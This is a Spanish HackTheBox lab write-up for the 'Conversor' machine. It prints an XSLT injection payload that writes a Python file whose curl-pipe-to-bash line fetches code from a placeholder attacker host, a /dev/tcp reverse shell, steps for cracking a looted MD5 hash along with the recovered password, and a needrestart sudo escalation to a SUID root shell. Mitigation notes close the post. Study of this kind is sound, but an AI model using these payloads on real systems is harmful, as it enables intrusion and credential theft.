Skip to content
cyberknight / 91
HackTheBox Easy Linux 17 de mayo de 2026 · ~6 min

Conversor

Web app que procesa XML+XSLT del usuario con lxml. Como lxml soporta las extensiones EXSLT, `exploit:document` permite escritura arbitraria de ficheros; combinado con un cron que ejecuta todos los .py de un directorio cada minuto se obtiene RCE como www-data. Lateral vía credenciales en SQLite (MD5 crackeado con John) y escalada a root abusando de `sudo needrestart -c` (GTFOBins, config Perl) para crear una bash SUID.

Ver en HackTheBox

Resumen

Conversor es una máquina Linux de dificultad fácil centrada en una técnica menos habitual: XSLT Injection. La aplicación web acepta archivos XML y XSLT del usuario y los procesa con lxml. Como lxml soporta las extensiones EXSLT, se puede usar exploit:document para escribir ficheros arbitrarios en disco. Combinado con un cron job que ejecuta cada minuto todos los .py de un directorio, se consigue RCE como www-data. El movimiento lateral sale de credenciales en una base SQLite (hash MD5 crackeado), y la escalada a root explota sudo needrestart -c (GTFOBins) cargando una config en Perl.

Idea central: XSLT no es solo “hojas de estilo para XML”. Es un lenguaje completo con funciones que pueden tocar el sistema de ficheros. Si el servidor confía en el XSLT del usuario sin sanitizar, tenemos un primitivo de escritura arbitraria.


Reconocimiento

Escaneo de puertos

# Descubrir todos los puertos abiertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG Puertos 10.129.238.31

# Versión + scripts solo en los abiertos
nmap -sVC -p22,80 -oN Targeted 10.129.238.31
22/tcp  open  ssh   OpenSSH 8.9p1
80/tcp  open  http  Apache 2.4.52  → redirige a conversor.htb

Resolución del vhost

echo "10.129.238.31 conversor.htb" | sudo tee -a /etc/hosts

Análisis de la aplicación

La web permite subir dos archivos y devuelve un HTML resultado:

  • XML — los datos (p. ej. el output XML de un nmap)
  • XSLT — la plantilla de transformación

¿Qué es XSLT? Un lenguaje para transformar XML en otro formato (HTML, texto, otro XML). No es solo presentación: tiene funciones reales que interactúan con el sistema. Analogía: como subir un Excel con macros y que el servidor las ejecute.

Descarga del código fuente

La propia web ofrece el código en About → Download Source Code. Leer el código antes de lanzar payloads a ciegas resuelve la mayoría de CTFs (y muchos pentests reales):

wget http://conversor.htb/static/source_code.tar.gz
tar -xvf source_code.tar.gz

Hallazgo en app.py

El backend procesa el XSLT del usuario sin sanitizar:

from lxml import etree

xslt_tree = etree.parse(xslt_path)   # acepta cualquier XSLT del usuario
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)

Hallazgo en install.md — el cron clave

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

Cada minuto el sistema ejecuta como www-data todos los .py de /var/www/conversor.htb/scripts/. Si escribimos un fichero ahí → RCE garantizada.


Foothold — XSLT Injection

lxml soporta las extensiones EXSLT. La función exploit:document permite escribir archivos en disco durante la transformación. Si controlamos el XSLT, controlamos qué se escribe y dónde.

Referencia: PayloadsAllTheThings → XSLT Injection / Files / XSLT - Write file.xsl

Namespaces necesarios

xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"

pwn.xslt

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exploit="http://exslt.org/common"
    extension-element-prefixes="exploit"
    version="1.0">
<xsl:template match="/">
<exploit:document
    href="/var/www/conversor.htb/scripts/pwn.py"
    method="text">import os;os.system("curl http://<ATTACKER_IP>:8000/index.html|bash")</exploit:document>
</xsl:template>
</xsl:stylesheet>

Trampa habitual: el código Python dentro de exploit:document debe ir en una sola línea sin indentación. Cualquier espacio inicial provoca IndentationError y el cron no ejecuta el payload.

index.html (segunda etapa — reverse shell)

#!/bin/bash
bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1"

Orquestación (3 terminales)

# Terminal 1 — listener
nc -nvlp 9001
# Terminal 2 — servidor HTTP con index.html
python3 -m http.server 8000
# Terminal 3 — XML válido para subir
nmap -p 22,80 conversor.htb -oX scan.xml

Subir scan.xml + pwn.xslt en la web y esperar ~1 minuto. Al disparar el cron, llega la reverse shell como www-data.

Flujo: subir pwn.xsltlxml escribe pwn.py en /scripts/ → cron tick (~1 min) → cron ejecuta pwn.py como www-data → descarga index.html → bash → reverse shell.


Movimiento lateral — www-data → fismathack

Localizar la base de datos

find /var/www/conversor.htb -name "*.db"
# → /var/www/conversor.htb/instance/users.db

Extraer credenciales

sqlite3 /var/www/conversor.htb/instance/users.db
sqlite> SELECT * FROM users;
-- 1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec

Identificar y crackear el hash

Longitud (hex)Algoritmo
32 charsMD5
40 charsSHA1
64 charsSHA256

32 chars → MD5 (confirmar siempre con hashid):

echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt
john -w=/usr/share/wordlists/rockyou.txt hash.txt --format=RAW-MD5
# → Keepmesafeandwarm

SSH como fismathack

ssh [email protected]
# Password: Keepmesafeandwarm
cat /home/fismathack/user.txt   # USER FLAG

Escalada de privilegios — fismathack → root

Enumerar sudo

sudo -l
# (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

needrestart — vector GTFOBins

Por qué funciona: needrestart -c carga un fichero de configuración escrito en Perl y ejecuta su contenido. Con sudo NOPASSWD sobre el binario, corre como root → el Perl también. En Perl, system("...") ejecuta comandos de shell igual que os.system() en Python.

# 1) Config Perl malicioso
echo 'system("cp /bin/bash /tmp/poc; chmod u+s /tmp/poc")' > /tmp/cmd.conf
# 2) needrestart como root con nuestra config
sudo /usr/sbin/needrestart -c /tmp/cmd.conf
# 3) Verificar SUID
ls -la /tmp/poc
# -rwsr-xr-x 1 root root ...   ← la "s" confirma SUID
# 4) Shell de root
/tmp/poc -p
cat /root/root.txt   # ROOT FLAG

El flag -p importa: sin -p, bash dropea los privilegios SUID por seguridad y ejecuta como tu usuario normal. Con -p los mantiene → root real.


Kill Chain

#FaseTécnicaResultado
1Reconnmap -p- + -sVC22/SSH · 80/HTTP → conversor.htb
2Code reviewDescarga del sourcelxml sin sanitizar + cron *.py cada min
3FootholdXSLT Injection (exploit:document EXSLT)Escritura de pwn.py en /scripts/
4RCECron ejecuta pwn.py como www-dataReverse shell www-data
5Lootsqlite3 users.dbHash MD5 de fismathack
6Crackjohn + rockyouKeepmesafeandwarm
7LateralSSH con passwordfismathack · user.txt
8Sudo enumsudo -lNOPASSWD: /usr/sbin/needrestart
9PrivEscneedrestart -c (GTFOBins, Perl)bash SUID → /tmp/poc -p · root.txt

Lecciones

TécnicaMITRE ATT&CK
XSLT Server-Side InjectionT1059
Scheduled Task/Job abuse (cron)T1053.003
Credentials in DB / Unsecured CredentialsT1552.001
Password Cracking (MD5)T1110.002
Sudo binary abuse (GTFOBins)T1548.003

Mitigación y notas:

  • Cualquier procesador de plantillas del lado servidor (XSLT, Jinja2, Twig, FreeMarker…) es candidato a inyección si acepta input del usuario sin sandbox. Deshabilitar EXSLT / extensiones de red y FS en lxml (etree.XSLTAccessControl.DENY_ALL).
  • Los cron jobs que ejecutan “todo lo que haya en una carpeta” son una primitiva de RCE si controlas la escritura — restringir permisos del directorio.
  • Nunca almacenar contraseñas con MD5 sin sal. Antes de crackear, identifica el hash; luego rockyou primero, reglas después.
  • Tras privesc por binarios sudoers: GTFOBins es la primera parada. needrestart no debería estar en sudoers sin restricción de argumentos.

Material de estudio — solo para fines educativos y entornos autorizados (HTB).

htb-conversor.md
hacker@cyberknight $ stat htb-conversor.md
machine : Conversor
os : Linux
difficulty: Easy
published: 17 de mayo de 2026
words : 1189
read : ~6 min
hacker@cyberknight $ tags --list
#XSLT #XSLT-Injection #EXSLT #lxml #cron #SQLite #MD5 #John #needrestart #GTFOBins #SUID #Perl
hacker@cyberknight $ echo $STATUS
[OK] retired · safe to publish
hacker@cyberknight $
todos los write-ups
#XSLT#XSLT-Injection#EXSLT#lxml#cron#SQLite#MD5#John#needrestart#GTFOBins#SUID#Perl